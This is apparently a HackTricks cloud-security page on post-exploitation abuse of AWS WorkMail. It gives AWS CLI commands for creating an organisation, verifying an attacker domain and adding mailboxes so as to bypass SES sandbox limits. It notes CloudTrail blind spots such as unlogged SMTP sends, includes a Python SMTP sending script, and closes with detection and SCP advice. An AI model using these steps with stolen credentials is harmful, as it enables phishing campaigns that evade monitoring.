# AWS - WorkMail Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Abusing WorkMail to bypass SES sandbox

Even if SES is stuck in the **sandbox** (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:

1. **Create a WorkMail org (region-scoped)**
   ```bash
   aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
   ```
2. **Verify attacker-controlled domains** (WorkMail invokes SES APIs as `workmail.amazonaws.com`):
   ```bash
   aws ses verify-domain-identity --domain attacker-domain.com
   aws ses verify-domain-dkim --domain attacker-domain.com
   ```
3. **Provision mailbox users** and register them:
   ```bash
   aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
   aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
   ```

Notes:
- Default **recipient cap** documented by AWS: **100,000 external recipients/day per org** (aggregated across users).
- Domain verification activity will appear in CloudTrail under SES but with **`invokedBy`: `workmail.<region>.amazonaws.com`**, so SES verification events can belong to WorkMail setup rather than SES campaigns.
- WorkMail mailbox users become **application-layer persistence** independent from IAM users.

## Sending paths & telemetry gaps

### Web client (WorkMail UI)
- Sends surface as **`ses:SendRawEmail`** events in CloudTrail.
- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, so the **true client IP is hidden**.
- `requestParameters` still leak sender (`source`, `fromArn`, `sourceArn`, configuration set) to correlate with newly verified domains/mailboxes.

### SMTP (stealthiest)
- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) with the mailbox password.
- **No CloudTrail data events** are generated for SMTP delivery, even when SES data events are enabled.
- Ideal detection points are **org/domain/user provisioning** and SES identity ARNs referenced in subsequent web-sent `SendRawEmail` events.

<details>
<summary>Example SMTP send via WorkMail</summary>

```python
import smtplib
from email.message import EmailMessage

SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"

target = "victim@example.com"  # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
    smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
    smtp.send_message(msg)
```

</details>

## Detection considerations

- If WorkMail is unnecessary, block it via **SCPs** (`workmail:*` deny) at the org level.
- Alert on provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, and SES verifications with `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Watch for anomalous **`ses:SendRawEmail`** events where the identity ARNs reference new domains and the source IP/UA equals `workmail.<region>.amazonaws.com`.

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

{{#include ../../../../banners/hacktricks-training.md}}
